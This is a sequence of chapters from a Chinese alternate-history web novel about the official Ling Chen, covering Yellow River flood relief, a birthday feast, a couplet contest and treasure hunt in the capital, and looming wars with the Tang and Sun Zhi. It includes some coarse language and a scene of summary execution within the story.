王臣鹤放下了手臂,摇着头说道:“既然老将军执意要战,那臣鹤也只好舍命奉陪了。臣鹤还有一言,望老将军信听: 天下战乱已久,人心思定,唐主此举,是违人心。况且,中原人杰地灵,纵使臣鹤本领不济,被老将军斩于马下,也会有更厉害的人物接替在下,与老将军对弈江淮。” 温茂终于提起了一丝兴趣,语气平静的说道:“无非就是李继贤、文若之流,不足道也。纵使文训南下亲征,老夫也未必不能生擒伪龙。” 王臣鹤摇了摇头,一言不发,勒马回阵。 温茂皱起了眉头,没搞懂王臣鹤是什么意思,不过也只是疑惑了一下,继而也调转马头,回到中军帐下。 第116章 人是复杂的 大雨滂沱,刚露出芽的绿草也被污泥泼黑,连雨水都冲刷不掉。地面被河水冲成各种堑壕,粗细不一的木头被滚滚泥流冲刷下来,撞在两岸边。 凌晨带着青箬笠、披着绿蓑衣,拄着一根木头站在临颍县里阳镇的河边,领着护庄队在帮忙救人。 一头老牛被河水从上游冲刷下来,一个精壮的小伙子眼疾手快,一把拉住了它的缰绳,这才没让它继续被冲走。 凌晨和护庄队员们一起合力,费了很大的劲,花费了很长时间才用粗木棍一点点的把它拨正,在它蹄子上套上粗壮的麻绳,将它拉了上来。 可是这头耕牛侧躺在草地上,连站起来的力气都没有,只剩下肚子一鼓一鼓的,还能证明活着。 京城有何关、大舅哥和薛定,目前政治形势稳定,暂时用不着他。再说了,离了自己地球还能不转了? 青柠是不支持凌晨来涉险的,但他还是执意要来看看乡亲们。他是从临颍出去的,不能忘了乡亲们,对他们的生命财产安全置之不理。 危险肯定是有的,隐身对抗不了洪流狂啸。但大丈夫处世,有所不为、有所必为。 苟利国家生死以,岂因祸福避趋之。 “殿帅,镇子上面的解家村沿岸河水已经涨平了,有一处河坝斜坡已经松动,您快去看看吧!” 一个队员浑身湿透、满腿泥污的跑来向凌晨汇报完后,身边的解二闻言大惊失色,那正是他家村子! “走!” 凌晨一声令下,留下两百多人继续打捞财物和救治落水灾民后,率领另外两百多人和解二赶往事发地点。 可惜,他们还是迟了一步。 眼前的斜坡已经裂了一道三米多大的口子,正在用肉眼可见的速度扩大,再这样下去不出十分钟,整个解家村就要变成水下遗址了! 解家村村正花白着胡子,拄着拐杖站在一处高垄上,脸色焦急的指挥着自己的儿子和村中的汉子、妇女挨个搬运石头、装了沙土的袋子堵决口。 护庄队员们一赶到,立刻冲上去加入了他们,让农妇们退到下面往袋子里装沙土,其他人排成一行传递石块和麻袋,情势危急! 饶是众人一起努力,依旧无法堵住决口,水流太过湍急,即使是石块和沙袋也稳不住,刚丢进去就会被冲走。 凌晨心中焦急,眼看着再拖下去整个解家村、整个里阳镇,甚至是整个临颍县都会成为水上乐园。于是他把心一横,一把抓住解二的手大声喊道: “护庄队听令!全体排成一队,在决口两边拉起绳子,抓着跳进决口里,连成一排堵住石头麻袋!今天不管用什么办法,一定要将决口堵住!不然我们的家人、房屋、田地、家畜和存粮就都完蛋了!” “是!” 你妈的!老子就不信了! 一个光着膀子的队员用绳子缠住石头,抡圆了从一边甩向决口对面。成功以后,对面的几个队员立刻拉起绳子将它牢牢绑在了一棵粗壮的大树干上。 凌晨抓着手腕粗的绳子,站在河边望着水流湍急的决口,深吸了一口气。 他刚要跳,一旁的解二伸手拉住他,脸色焦急的说道:“侯爷,要不让我先下去试试吧!” 凌晨抹了一把脸上的雨水,一把拨开后说道:“谁下不是下?老二,一会跳下去后,一定要抓牢绳子。要是被冲走了,撞到尖锐物可是会有性命危险的!” 说罢,还不等解二再劝,凌晨便将绳子夹在腋下,踩着湿滑的泥壁“噗通”一声跳进了水中。 尽管已经做好了心理准备,但水流的汹涌程度还是超出了凌晨的想象。整个人在水中摇摆不定,脚根本沾不到地,被冲的漂了起来。 迫不得已,他只好抓着绳子重新回到泥壁边,叫解二先别急着跳,给他丢两袋沙袋下来。 当他浑身黄泥、用活结将沙袋绑在自己脚上时,解二顿时就急了,侯爷这是在玩命啊! 但眼下这种情况,不玩命显然是不行的,已经管不了那么多了,堵住决口是当务之急、重中之重! 当凌晨成功在决口处站稳后,解二也在自己脚上依样画葫芦的绑沙袋,水中的凌晨被脏河水冲刷着脖子和脸,看了他一眼后不禁破口大骂: “傻逼!老二,你他妈的绑死结干什么?你想睡河里啊?打活……噗!打活结!你个逗比!” 解二被凌晨吼的浑身一颤,连忙蹲下来哆哆嗦嗦的改成了活结,还向身边排队的护庄队员们提醒,叫他们互相传下去。 做好准备后,年轻的汉子们一个接一个下饺子一般跳进了河里,泡在齐脖子深的水中,形成了一道单薄的人型堤坝。 远处的解家村村民们看到这一幕,纷纷垂泪,老村正挥着手嚎啕大哭,大声喊道:“别跳了!别跳了后生们!房子我们不要了!” 村子里的汉子们也是眼眶发红,但看到其他队员都在努力的搬石头,只能抹一把脸继续帮忙传递麻袋。 几百人花了近两个时辰,通力合作、紧张有序又不知疲倦的劳作,失败了三四次才堪堪堵住决口,没有让洪水将解家村吞没。 凌晨躺在雨地里,任由雨水拍打在自己的脸上,张着嘴巴大口大口的喘着粗气,浑身湿透。热汗外加河水、雨水,将衣服从内到外湿透,冷风吹来,一阵哆嗦。 相比之下,泡在水里还相对暖和点。 歇息了一阵子后,凌晨挣扎着翻起身来,又加入了队伍中,跟着队员和百姓们一起继续加固刚刚堵住的决口。 没一会,陈啸带着一帮凶神恶煞的汉子们从村子里的泥路上踩过水泽,来到了凌晨他们跟前。 还用绳子绑着三个男人。 凌晨抹了一把流到眉毛的雨水,咧嘴喘着气离开队伍迎了上去,看了一眼那三个垂头丧气的人后,对着陈啸问道: “你怎么来了?我最近没说想吃鱼啊?” 陈啸看了一眼忙碌的现场后,对凌晨恭敬地说道:“召陵那边水流平静,知县大人一直在盯着,应该没什么问题。我就带着镖局的弟兄过来临颍,看看有什么能给您帮上忙的。” 顿了顿后,他转身指着被绑着的那三个人说道:“来的路上碰到这三个人,这个是趁乱想要在野外奸污一名女子的,那两个在偷偷抓孩童,估计是拐子,我想着……” 陈啸话还没说完,凌晨就伸手打断了他,目光看着被绑着的那三个人,手臂伸出去,朝着陈啸屈了屈手指。 陈啸愣了一下,这才反应过来,迟疑的将手中的腰刀刀柄向凌晨伸了过去。 “锵!!” 凌晨握住刀柄,一把将刀抽了出来,快步走上前去,一刀劈在被两个镖师抓着胳膊的贼人脖子和肩胛处,还不等他喊出声来,又是一刀捅进了他的肚子! 全场鸦雀无声,人人噤若寒蝉。 杀人如麻的陈家镖师和久经战阵的护庄队员们都愣住了,侯爷的赫赫威名大家是久有耳闻的。但他平日里一直很温和,很少有人亲眼看见他杀人。 如今直接动手,可见是真生气了。 一股无形的压力漂浮在河边草地的上空,所有人都把心提到了嗓子眼,不敢大声喘气。 将三个垃圾解决完以后,凌晨面不改色的将带血的刀反手递给陈啸,陈啸连忙上前接住,却听到凌晨说: “看清楚了,下次再碰到这种情况,就这么干。不要管对方是谁,也不要管他有什么背景,一切责任和后果,都有殿前司替你承担。谁要是敢找你麻烦,你直接让他来找我。” 陈啸还有点没反应过来,愣愣的点着头说道:“是……是。” 各地官府都在组织乡勇青壮加固河堤,疏通淤泥,填堵决口。有些灾情严重的地区,官兵直接乘船救援。人是第一位的,其次是金银、牛羊等其他财产。 濮阳县知县王直亲自到黄河边组织衙役皂吏堵坝,但他的运气没有凌晨那么好,面临的困难也远比凌晨大。 在亲自指挥堵决口的时候,由于地面太过湿滑,王直不小心被冲进了洪流之中。水流湍急,连驾船都十分危险。 但是手下们不能眼睁睁的看着县太爷被水冲走,于是,濮阳县尉亲自摇橹,带着几个胆大的去寻,最终却只得到一具尸体。 他们将王直的尸体运到高地处,聚在一起抹泪哭泣,天灾之下,任何人都是平等的,一个不小心就会永远睡去。 他们正围着尸体掩面哭泣、哀伤悲痛呢,一群握着腰刀的武官在衙役的指引下来到现场,寻找王直。 在县尉声泪俱下的诉说中,他们这才知道,地上这个身体被水泡的有些浮肿、面色青紫的人,竟然就是濮阳知县。 这群武官们沉默了许久,伸手按在肩膀上安慰着县尉,叫他先把尸体运回城里安葬,他们回京上报此事。 县尉抹着眼泪问他们是什么人,他们互相看了看彼此后,都说自己是采诗官,负责来督察各地治水工作的。王知县的事,他们会上报给吏部。 在县尉和衙役们的哭声中离开了现场后,这群武官面色复杂,心情难以言喻。 他们是刑部武官,王直去年贪墨官银的事情东窗事发了,此行是来拿他下狱的。一群人中,只有一个随行的采诗官,是负责监督他们抓捕工作的。 武官头子回头看了一眼远处哭声哀恸的衙役们,犹豫了一下,走到那采诗官身边,小心翼翼的说道:“童大人,这……” 那名姓童的采诗官伸手打断他,语气沉重的说道: “不用说了,先回去吧。此事我会如实上报给吏部,嗯……我会上书给中丞大人,看看他能不能跟你们大人请求一下,酌情处理,最好能功过相抵。到时候,可能需要诸位联名……” 武官们互相看了看后,齐齐点头道:“我等愿听大人吩咐。” 人,是最复杂的生物。 我们这个民族,历经磨难,几度陆沉,到今天仍然伫立在这片土地上,秘密或许就隐藏在这种复杂里。 阴暗和光辉,如同日升月潜般互相交替,谱写出一部悲壮慷慨的千年诗篇。 吏部和刑部、御史台得知了这件事情后,各自的二把手、三把手坐在一起一合计,最终决定不去追究王直的过往,用“为国殉难”四个字,给他盖棺定论。 汴京城中,柳南坊的祁梅儿一改往日花魁的高冷人设,拉着名气仅次于她的段音一起义演,承诺会将所得献金用于赈济灾民,并且为大家带来一首新曲子。 “泥巴裹满裤腿, 汗水湿透衣背。 我不知道你是谁, 我却知道你为了谁。 为了谁, 为了秋的收获, 为了春回大雁归。” 此曲一出,立刻就被礼部征用了过去,传抄成册,令各地教谕教授学子、百姓和儿童传唱。 无数人跟着学唱起来,互相帮忙、对亲朋乡邻鼓励提气;官兵们唱着这首歌冲进了洪水之中,用血肉之躯与泥流抗争。 那些在洪水中失去了家人的百姓官民们,唱着这首歌祭奠完亲人后,转身毅然决然的投入了抗洪救灾的人潮中。 整个黄河中下游、整个中原大地,到处都在上演着人潮与水流的汹涌碰撞。 你说天命难违,我说人定胜天! 唐国李雄,不知道是年纪大了还是丹药嗑多了,竟然趁着中原大灾之际,发布了讨伐文训的檄文。 文中指出,文训作为周朝臣子,本该珍惜来之不易的信任和托付,为周朝天子守护好疆域。但是他却利用手中的职权,为自己、为家人谋求私利。在周室危难之际未能挺身而出,践行自己当初对周帝立下的誓言,丧失理想信念,趁乱吞并州郡,暗中窃取周朝江山。 李唐作为邻邦,对这种行为深以为耻,但为了饱受战乱之苦的中原百姓能够得到喘息,所以才一直隐忍不发。 如今文训的恶径暴行,已经招致了上天的不满,以至于降下灾祸,引大水涤荡这污浊人间。 因此,大唐要替天行道,讨伐奸逆,还世间一个朗朗乾坤! 大唐上柱国、徽州太守、征北大将军温茂,率领七万大军越过边境线,气势汹汹的直奔江淮重镇、寿春府治所—— 庐州。 第115章 桃汛 恢弘气派的秦王府,坐落在皇城西墙外。占地多少亩已经算不清了,反正占据了将近四分之一的归德坊。 韩登这个人,你说他不惨吧,其实也挺惨的。年少离家,与亲人同在一片蓝天下呼吸着新鲜空气,却无法和彼此碰面。好不容易回去了,没亲近多久,老爹就走了。 可你要说他惨吧,大周还在时,他就是令人闻风丧胆的司狱大人,所到之处寸草不生。后来什么都没干,就继承家业,进位关中王。如今更是因为其自身的影响力和政治背景,获封秦王。 除了亲情方面有点“子欲养而亲不待”的遗憾外,他这辈子就没有坎坷过。 如今,住着宽敞明亮的秦王府,搂着云中节度使的掌上明珠,姐姐是未来皇后,姐夫是未来天子。只要他不折腾,注定顺风顺水一辈子。 啊!凌晨感觉自己都要得红眼病了! 今天申屠忘忧办生辰,韩登亲自上门来请青柠和凌晨,一同去为妻子热热闹闹的办个宴会,请的都是相熟姐妹,夫妻俩欣然答应。 秦王府的后花园,水榭台二楼。 “这小子当时抽出燕军的刀就冲出去了,我一看他这么勇,那不能怂啊,立刻也拔了别人的刀跟上,鸡城守军就这么被我们给带偏了!当时一群人出门走上大街,看到胡服装束的人就是一刀,砍完了还能活着的,再问有没有杀错。” 一身蟒袍的韩登坐在美人靠边,瞪大眼睛听着凌晨绘声绘色的描述,又难以置信的看向一旁有些腼腆的吕齐,脸颊微抽。 凌晨说的话他当然信,但他还是很难想象这么一个面相有些青涩的小子会这么猛。 感慨的叹了一口气后,韩登盯着吕齐微微点头。能被凌晨瞧的起、混在一块的人,基本都是当世人杰,多少都带着点病态的疯狂。 在敌人大后方的粮草重地搞事情,不得不说,胆子真肥。 就在三人闲坐扯淡之际,水榭旁阁传来一阵莺莺燕燕的笑声,韩意带头走了出来,她的身后跟着青柠、世容、婉云、申屠忘忧、新城郡主、祁阳郡主和文家姐妹。 婢女们带来一堆奇奇怪怪的食物,悄无声息的布置在长桌上。 今天是女人们的主场,韩登和凌晨、吕齐一同起身,走到她们旁边等待安排。 以前忙于政事和军务,凌晨都没怎么注意过申屠忘忧。今天才算是看到了她私下里的真实一面,中原的礼制匡束不了草原女子的飒爽英气。 这位秦王妃挽起袖子,徒手捏住一根羊腿风干肉,另一只手握着镶嵌了宝石的短匕首,在众人的一脸懵逼中,开始一块块往浓绿色的玉碗里切肉。 给每个碗里都匀到后,她又挨个加入一些稀奇古怪的东西。 菱形的奶皮子和奶豆腐、干巴的油果子、滴上两滴黄油,又用木勺挖上一点黄米放进去,最后提起一个银制玉壶,开始往每个碗里倒热奶。 弄好这一切后,申屠忘忧笑着对众人说道:“大家快入座,这是我们云中府特有的食餐,东西都是我爹爹派人快马送来的,滋味纯正,今个也让你们尝尝草原上的美食。” 申屠忘忧长的跟其他女子不一样,脸蛋有点圆润,身高也很高,而且整体看起来有点壮实。听说她还能拉弓射下飞鸟,不知道是真是假。 反正凌晨觉得,娶了她,韩登再想找妹子泻火,估计得掂量掂量身板抗不抗揍。 好在她性格很好,活泼开朗,长相也不赖,大眼睛很明亮,少了一份柔弱,多了一份英气。脸蛋上还有隐隐的小雀斑,别有一番韵味。 当然,她能和韩登结为夫妻,可不是因为容貌。 驰骋塞外的五万云中铁骑,是一股任何人都无法忽视的力量。 众人落座后,都拿上筷子和勺子品尝了起来。 只一口,凌晨就感觉有些不适应。有一股很重的羊膻味,而且奶很腻,不如加了香菜的羊臊子汤鲜美。 抬起头看看其他人,众多女子也都是捂嘴皱眉,不是不给面子,真有点接受不了。 倒是吕齐夫妇吃的津津有味,世容喝奶还有点贵族模样,吕齐则是直接闷头刨饭,狼吞虎咽。 幽州地临边关,牛羊肉和奶制品应该是比较常见的,所以他们接受起来很轻松。 青柠小嘴微抿,仔细品味着萦绕在口腔中的味道,有些不适。但她跟在场其他人不同,是过过苦日子的,以前别说肉和奶了,就连油果子和黄米都难得一见。 因此,在慢慢适应了一段时间后,她还是努力把肉吃完了。 文瑶是最难受的,闻到羊膻味时她就不想吃了,但又怕申屠忘忧不开心,于是硬着头皮喝了一口。结果瞬间上头,不顾形象礼仪的又吐回了碗中,连连摆着手向申屠忘忧表达歉意。 申屠忘忧笑着走到她旁边宽慰她,连说不要紧。 最后可算是结束了,众人擦着嘴,表情不一。 大部分人体验较差,只有吕齐意犹未尽,又要了一碗。 吃完的凌晨避开他们,独自走到水榭边,扶在栏杆边望着花园中渐渐浮现的绿意,又抬起头看向天空中的阴霾,思绪万千。 又是一年啊~ 今天的安闲,都是从当初的一无所有,一路披荆斩棘换来的。 身旁传来一阵脚步声,扭头看去,是韩登。 “怎么不过去坐着?” 凌晨望着他的那张帅脸,有些感慨的问道:“你还记得当初你让我去高太傅家偷那的封信吗?” 韩登闻言也不禁笑了,看着远处的天空,思绪也跟着飘向远方。 “依稀记得。” “当初那么重要的人,那么重要的信,到了今天,已经没有任何意义了。真是世事变迁,沧海桑田啊!” 韩登点着头说道:“时间很快,很多记忆都已经苍白。夜深人静的时候,我也常常在感慨,怀念我们以前一起疯狂的时候。” 凌晨笑着说道:“当初你把陈啸抓进牢里那次,我都想一刀结果了你和你的那帮狗腿子。谁能想到多年以后,我们会站在这里一起回想当年……” 韩登听后并没有急着接话,而是转身坐了下来,凌晨也顺势跟着坐在他旁边。 “以前是真的天不怕地不怕,看谁不爽就抽刀干他,说砍人全家,就砍人全家!绝不打折扣。直到今天我还有些后怕,当初在邺城时,怎么会那么大胆、跟着你和孙芝玩心眼?而且还成功了!” “自从你爹去世后,你变了好多,比以前沉默了,也比以前现实了。” 韩登摇着头,望着申屠忘忧的笑意盈盈的身影,脸上浮现出一丝难得的温柔: “我爹八面玲珑,手段高明,又心高气傲。哪怕是周天子,他也未必在心底敬重过,可最终还是敌不过岁月的风霜。我现在已经富贵加身,别无所求。以后就不拼了,只想好好守着她,护着长姐和母亲,平平安安的过完这一生。” 凌晨顺着韩登的目光望向申屠忘忧,思索了一会后,又将目光看向笑容满面的青柠,不禁赞同的点了点头。 腥风血雨、刀光剑影,南征北讨、征战一生,为的不就是家人微笑的脸庞么~ 深吸了一口气后,韩登笑着看向凌晨:“关中的事,还没来得及谢谢你。那会我被逼到华阴,真有几分一筹莫展的感觉,没想到只是一纸书信,你真的星夜赶来了。” “也没星夜那么夸张,我半路还在贾建那喝了几杯酒呢~” “哈哈哈哈~” 韩登不禁放声朗笑,凌晨就是凌晨,还是那个凌晨。 笑够了后,他一脸郑重的看着凌晨:“兄弟,谢谢你,帮我夺回了我爹一生的基业,又找到一条不必流血的归途。” 凌晨问道:“你不怨恨我把你姐夫和陛下引去长安?” “我自己本身就没有治理国家的才能,如果硬要裂土称王,到最后的结果,很可能还是会将我爹的心血付之东流。天下归一,已经是不可阻挡的趋势,你我都是顺应大势的人,不是吗?” 凌晨点着头说道:“是啊,自从唐末以来,经历了太多的烽火离乱。即使没有我们两个,天下也必须统一,必将统一。” 秦王和殿帅相视一笑,同时伸出手掌,握在了一起。 也不是所有事物都变了模样,至少他们之间的兄弟情谊,并没有随着时间的推移而发生改变。 哪怕时光会模糊记忆,哪怕岁月会年华老去。 一杯酒到天亮,还和从前一样。 阳春三月,万物苏醒。 好人不长命,祸害遗千年。孙芝到底还是被老天眷顾着的。今年春始,大雨连绵不绝,冰雪消融之后,黄河水量暴涨!陇右、冯翎等地都发生了山体滑坡和泥石流,潼关地区的水位超过了往年立下的石碑警戒线。 朝廷紧急调遣人马、粮草、药材、军帐等救灾物资赶往事发地点,并派出巡检使和大批采诗官前往灾区,监督赈灾救灾情况。 皇帝下了死命令:如有贪赃枉法、克扣变卖救灾物资者,一经发现,停职入狱。如有趁乱作恶、杀人越货劫财者,凌迟处死、枭首示众。 这是老文第一次启用如此残酷的刑罚,可见是真的急了。 工部尚书唐秉闻、都水监监正王从迹上奏,提醒陛下注意中下游河段的堤坝防护和水道决堤隐患。 文训采纳了他们的建议,一旨传檄,整个帝国机器运转了起来。 中原大地上到处都是人马车骡,无数烧制出来的堤坝砖石、官仓里取出的积储粮食、民间购买的药材、防疫用品、军营帐篷,以及征发来的徭役民夫都被调遣至黄河两岸,严阵以待。 在这种严峻的天灾威胁下,攻打晋阳、彻底统一北方的进程不得不被暂缓下来。 虽然石州和黄河沿岸的晋阳府诸地也遭受到了不同程度的雨灾,但孙芝还是很高兴,短时间内中原肯定是分不出精力来收拾自己了。 还活着~~ 现在的他,正处在一种极为分裂的精神状态和现实抉择。 治下百姓受灾,按理说他应该焚香祷告,祈求雨神不要在下、河神不要发怒才对。 但这场大雨就是他的救命稻草啊!必死之局中透露出来的一线生机,完全就是一场及时雨。他这辈子都没有这么喜欢过春雨。如果不是怕被人当成神经病,他都想跑进大雨中拥抱雨水。 虽然他从不相信世间有神明存在,但眼下这种情况,孙芝是真的不想、也不敢去祈祷雨停。 万一真停了,那不就尴尬了吗? 但是如果不做做样子,治下正在暴雨中挣扎、受苦受难的百姓恐怕会不开心。纠结了许久后,孙芝决定努力救灾,好好赈济灾民。 但是像焚香祈祷这种封建迷信活动,劳民伤财的,又没有科学依据,还是算了,不好~不好~ 连绵不断的暴雨一直持续到三月底。四月初,天气开始正式回暖。陇右发来急报:上游河水及支流水量都超过了十年来最高,并且还有持续上涨的趋势,桃汛来了。 四月初七,在一片大雨中,孟州河段洪水决堤! 洛阳府尹贾建令部下军将携带加急塘报,连夜送往汴京。 洪水冲垮了堤坝,冲毁了沿岸的民居、粮田、官仓。百里平原变成了一片大泽。无数百姓流离失所,挂在树枝上、坐在房顶上看着滚滚洪流夹杂着断木砖瓦、家私农具、垃圾死尸奔腾而去。 每天、每时、每刻都有人淹死、被水冲走。 许多人积攒了大半生的财富就这样被冲没了,有的商人常年行贩,给自己的孩子储存了一些银钱,百年之后可以放心闭眼;有的农民日夜劳累,从牙缝里抠出铜板买了鸡鸭牛羊,等着它们下蛋生崽改善生活。 而现在,都没了,什么都没有了。 还来不及可怜孟州百姓,四月十一,开封府治下、东昌府治下又是两处决堤,这两地的灾情比孟州还要严重!而且开封府还是京畿重地。 凌晨陪着文训登上开封北城墙观察情况,只能看到黄河笼罩在一片白茫茫的水雾中,大雨滂沱,不见有丝毫停歇的迹象。 大郑官民百姓,全力救灾疏洪! 第114章 娱乐风暴 冬深时节,春庭落雪。 凌晨倚靠在窗边的卧榻上,右臂搭在窗边,用食指和中指轻敲窗沿,望着院子里白茫茫的一片雪洁怔怔出神。 灰蒙蒙的天空中飘撒下鹅毛般的雪花,为原本铺设了整齐地砖的院子盖上一层白纸。有婢女和小厮路过,踩出一行醒目的脚印,不多时又被覆盖。 两侧厢房的游廊下,瓦片上不断有雪花堆积,不堪重负,“啪嗒啪嗒”掉落到院子中。院中的果树枝头傲雪,枯木败叶下,是新的生命正在孕育萌芽。 卧室里温暖如春,青柠正坐在杨木圆桌前,专心致志的盯着手中的衣服。她的中指带着顶针,拇指和食指捏着细针,正在聚精会神的穿针引线,偶尔还会将线绳放到嘴边,用红唇抿顺。 桌子上有一个藤编针线篮子,里面放着剪刀、针卷和各色线棒,以及一些鞋样和碎布。 房间里的铜炉炭火燃的正旺,一旁的银壶里温着绿蚁新醅。夫妻二人静坐屋中,无丝竹之乱耳,无案牍之劳形。除了天气不是很好之外,其他一切都是那么安闲自在。 一道灵光从脑中闪过,凌晨蠕动着身子挪到榻边,踩着鞋子下了床,走到书桌前。 思索了一下后,他从纸板中抽出一张宣纸,用镇石压住上头,轻轻捋平。 往砚台里倒了点酒后,捏住墨石在上面磨了磨。待到墨汁浓黑后,他提起毛笔,蘸上墨汁,曲肘落字。 逆峰起笔,蚕头燕尾。 “烟锁池塘柳”。 写完后,凌晨满意的看了看自己的作品,撅着嘴轻轻吹干。 一旁的青柠看到了,好奇的笑问道:“相公,怎么今天突然写起字来了?平时很少看到你动笔~” 凌晨将镇石拿开,捏着纸举起来给青柠看。经过婉云这几年的教授,青柠的学识已经大有长进,她望着这张写有“烟锁池塘柳”的宣纸,歪着脑袋品点道: “五行部首,又自成胜景,我虽然懂得不多,却也觉得不俗,相公文采真好。” 凌晨摇着头,神秘一笑:“你说,我这幅字能值多少银子?” “啊?” 青柠显然是没有反应过来,她怎么也没往卖钱那方面想。 “相公,咱家的食邑、俸禄、还有你在《汴京时报》的稿费加起来,已经完全足够平日的用度,干嘛还要……” 凌晨凑到青柠身边坐下,既像是在对她说,又像是自言自语—— “殿前司老大的书法作品,肯定有无数人想花大价钱买,这买回去就是一道护身符呀!最近的京城太平静了,是时候给这群沙丁鱼来点刺激了。” 青柠不解的望着凌晨:“相公想做什么?” “我想把这副字拿到殿前司的衙门口旁边贴起来,就以此为上联,能对上下联的人,可以将此帖免费摘走。如果长得帅,还可以和我一起吃顿饭~” 青柠无语的叹了口气,随后便盯着那五个字沉思起来,发现这联还真不好对。既要与五行部首相对应,又要不生硬的连贯起来,似乎有点难。 想的脑袋瓜有点烦,她干脆使出一招“近水楼台先得月”,拉着凌晨的胳膊问道:“相公,你快告诉我下联是什么?我保证不往外说。” 说着,她还用另一只手竖起三根细指,眨巴着眼睛,作出一副起誓的模样。惹的凌晨哈哈大笑,连忙伸手把她的爪爪按了下来。 “娘子有命,不敢不从。你听好了啊,这下联就是……” 见凌晨故意停顿下来,青柠有些着急的拉住他的胳膊轻轻摇晃道:“哎呀相公~你就别卖关子了,快告诉我嘛~” 凌晨颇为满意,笑着说道:“好好好~说说说~娘子听好了,这下联便是——深圳铁板烧。” ? 青柠满脸疑惑的直起身子,将信将疑的思索了半天,还是忍不住开口问道:“可有出处?” “当然有!这深圳啊,是岭南兴王府下辖的一处地名,铁板烧是一道菜肴。虽说粗浅了些,但也能对的上。” 青柠已经无心思考什么对子了,因为她清晰的听到凌晨说:岭南兴王府。 她歪着脑袋,陷入了沉思。 犹记得多年以前,夫妻二人初次相遇,相公就好像知道很多别人不知道的事。经年累月的相处下来,她发现相公了解好多地方的风俗、习惯、甚至是衣食住行。 相公怎么会知道岭南有这处地方,又怎么会知道当地有这道菜肴? “相公,你怎么会知道岭南的兴王府有这个叫深圳的地方?又怎么会知道到底有这味菜?” “呃……” 遭了,装逼装过头了。 “我不是前些日子一直在城里瞎逛嘛,遇到一个刘汉的使者。你想啊,你相公我是什么人啊?他遇到我肯定得好好攀交一下。席间他喝多了,我们就互相吹牛扯淡,就是那个时候知道的。” “哦…原来如此,我还以为你去过岭南呢~” “那怎么可能!” “想想也是,嘻嘻~” 第二天,一向沉寂的临颍侯、殿帅凌晨,突然跟活了一样,在殿帅府官衙的白墙上贴了一张纸,上书“烟锁池塘柳”,并在一旁贴出告示:能对出下联并让他满意者,他会亲自请客吃饭。 这可是大新闻呐!首都军区司令员请客吃饭,对于大部分官员百姓来说,是一个不可多得的,鱼跃龙门的机会。一旦你能和这位孤直公说上话,将会有无数人来屈尊结交,求你介绍搭桥的! 于是,一向门可罗雀、森严清冷的殿前司门口,瞬间就变得人山人海,热闹非凡。许多人赶来一观,先是好奇,继而惊叹,最后苦思不得,一一离去。 就连许多看不惯凌晨的大佬们,在看了上联后,都不得不感慨:这小子还是有点说法的。 除此之外,凌晨又掀起了另外一场令人咋舌的奇葩活动——寻宝探险。 他在《汴京时报》登录了一则告示,画了一张藏宝图。 是的,你没听错,藏宝图。 上面用奇怪的符号和图案标记了一些路线和地点,并且告诉世人,谁能破解上面的秘密,按照指引寻找到藏在城内和京郊的七颗龙珠,凑齐之后,就可以向凌晨许一个愿望。 只要不触犯律法,能办到的,他都会给你办。 该活动真实有效,无时间限制,七颗龙珠全部集齐后自动结束。一切解释权归凌晨所有。 消息一经公布,整个京城为之沸腾! 冬日的严寒都不能阻挡人们的热情和兴奋,无数人聚在一起研究时报上的告示,一起推敲“jingxicuncundongtoudi5kedashuxia”、“huchenghediaoqiaodongshitoudi”都是些什么意思。 有些人看不懂,干脆直接盲目翻找起来,裹着衣服在京郊四处打听,吸着鼻涕问城门守卫,问过路百姓;观察雪地脚印和草木断面,逮住破庙里的乞丐用面饼鸡腿一通利诱,让他们把近半个月做的春梦都抖了出来。 从冬雪严寒,到冰雪消融,无数赌徒和走投无路的人、梦想一步登天的人都在城中野外寻找,乐此不疲。 后来,很多人都放弃了,认为这就是凌晨的一场恶作剧,用谎言来欺骗他们,害大家傻不拉叽的出去挨冻,他自己躲在屋子里偷偷捂嘴笑。 采诗官们最初并没有抵制谴责这项活动,但当他们灰头土脸的找了半个月却一无所获后,勃然大怒!弹劾谴责的奏折、文书如同雪花般送到了吏部衙门和老文案头。 吏部和老文也是哭笑不得,这事…… 一个愿打一个愿挨,凌晨又没犯法,也没有造成什么恶劣影响,无非就是让大家冬天多运动了几次,于是都选择了置之不理。 还在坚持的人越来越少,到最后,只剩下一些和韩登一样死心眼,得不到答案就寝食难安的强迫症,以及一些确实走投无路,想借此翻身的人还在寻找。 凌晨命护庄队将这些人暗暗记录下来,去调查他们的背景,生活确实有困难的,趁着夜里给他们家丢几锭银子,不能真拿人家当傻子玩。 三月开春,这件事情迎来了一个小高潮,一位名叫廖男的资深嫖客,在南城门的护城河吊桥下,意外发现了一个小箱子。 打开一看,里面真的有一颗琉璃珠子,上面用毛笔画着四颗五角星。 廖男纠结了许久,觉得凑齐七颗龙珠对他来说太难了,不知道要找到什么猴年马月去,还不如把这玩意卖了赚点嫖资,快活一天是一天。 于是,他用这颗珠子,在城中赵记当铺换了二十两银子。 许多人听说后,顿时被气的捶胸顿足!直呼人挣不到认知以外的钱。且不说凑齐之后可以向临颍侯许一个愿望,你就算是拿去卖,去当,那也起码值几百两银子的呀! 二十两,血亏! 但廖男不这么认为,他觉得这玩意在自己手里就是个烫手山芋,被无数人盯着,保不齐还会有性命之危,还不如丢出去。 白得二十两银子还不好? 最后,这颗龙珠被一名济州府的富商得到。他拿到手后,第一时间就前往临颍侯府寄存。 凌晨亲自检查了自己留下的防伪标志后,宣布是真的。 汴京城再一次掀起了淘金热! 第113章 同病相怜 当今天下,有两个人惴惴不安。 第一个,是我们的老朋友、晋王爷——孙芝。 先周帝死在了晋阳城中,这是不争的事实。至于他到底是被皇后杀死的,还是被晋王杀死的,已经不重要了。因为在文训眼中,这两点没有区别。 郑承周制,从老周家那里继承了天下,自然也要为他们报仇雪恨,以安旧人之心,以求名正言顺。 在文训称帝的同时,真定行营都部署、镇北将军、淮南侯李继贤,已经在紧锣密鼓的运输粮草、聚集兵马,准备再次进入太行山写生。 升任冯翎知府的柳耒和升任河内太守的李卿,也在西边组织兵马,磨刀霍霍。要干什么,不言而喻。 文训还派人从燕云进入云中府,联系申屠明光,邀请他一起为先周帝报仇,出兵南下,会猎晋阳。 但这一次,申屠明光以漠南局势紧张为由,拒绝了文训。 因为草原诸部也在加紧统一步伐。 孙芝知道,自己已经四面楚歌。现在就看文训哪天不想批奏折了,提刀领兵来找他。到那时,东、南、西三边,将会有十几万大军来找他唠唠周哀帝的死因。 关键是,周帝死在晋阳,他连投降的资格都没有。别人或许可以活,但他一定会脑袋搬家,这是板上钉钉的事儿。 万宁象棋:绝杀——无解。 